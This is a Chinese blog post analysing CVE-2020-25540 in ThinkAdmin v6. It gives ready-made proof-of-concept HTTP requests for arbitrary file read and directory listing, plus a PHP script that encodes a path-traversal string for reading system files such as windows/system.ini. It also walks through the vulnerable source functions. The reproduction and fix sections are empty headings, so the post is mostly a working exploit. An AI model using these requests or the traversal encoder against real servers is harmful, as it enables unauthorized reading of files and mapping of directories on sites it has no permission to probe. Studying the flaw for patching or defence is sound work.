侵权声明
本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。
如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。
POC
文件读取
//我读的是windows/system.ini
GET /public/index.php?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b1b3b2x322s333b371b373d37382t311a2x322x HTTP/1.1
Host: demo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
读取文件的路径需要编码
<?php
function encode($content)
{
list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
for ($i = 0; $i < $length; $i++) {
$chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
}
return $chars;
}
//需要读取文件的路径
$inputString = "../../..//windows/system.ini";
// 调用函数并输出结果
$encodedString = encode($inputString);
echo $encodedString;
?>
信息泄露
POST /public/index.php?s=admin/api.Update/node HTTP/1.1
Host: demo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
rules=%5B%22.%2F%22%5D
漏洞分析
文件读取
输入进来的encode
用input接收的,更进input()函数
没有过滤,执行了一条语句就退出了
继续更进decode()函数,是一个解密函数,刚好上面就是加密函数
getRootPath()
函数是获取网址根目录的绝度路径,最终的读取的文件路径即为网址根目录加输入进来的路径
'content' => base64_encode(file_get_contents($file))
最终路径的文件内容读出并进行base64编码,所以如果想看到文件真正的文件内容需要解码一下。
信息泄露
json_decode($this->request->post('rules', '[]', ''), true)
将名为rules的参数通过post方法接收然后通过json_decode方法将内容转换成关联数组。效果就是'["./"]' -> ["./"]
之后更进getList()函数
其中$name = strtr(trim($rule, '\\/'), '\\', '/');
作用是首先会去除 $rule
字符串两端的任何反斜杠和正斜杠,然后再将字符串中的所有反斜杠替换为正斜杠。最终,结果将会赋值给 $name
。
跟进scanList()
函数
可以看到是先判断路径是否存在,之后判断是否为目录。之后的大概意思是判断是否为文件,如果是就保存到data中然后进行下一次递归调用即该路径的子目录。直到遍历完该路径下的所以文件和目录。
漏洞复现
文件读取
信息泄露
总结
修复
参考
CVE-2020-25540:ThinkAdmin两个漏洞复现-腾讯云开发者社区-腾讯云 (tencent.com)
免责声明
本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。
使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。
我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。
感谢您的理解与支持。
标签:文件,读取,路径,Accept,ThinkAdmin,v6,斜杠,函数 From: https://www.cnblogs.com/0kooo-yz/p/18342156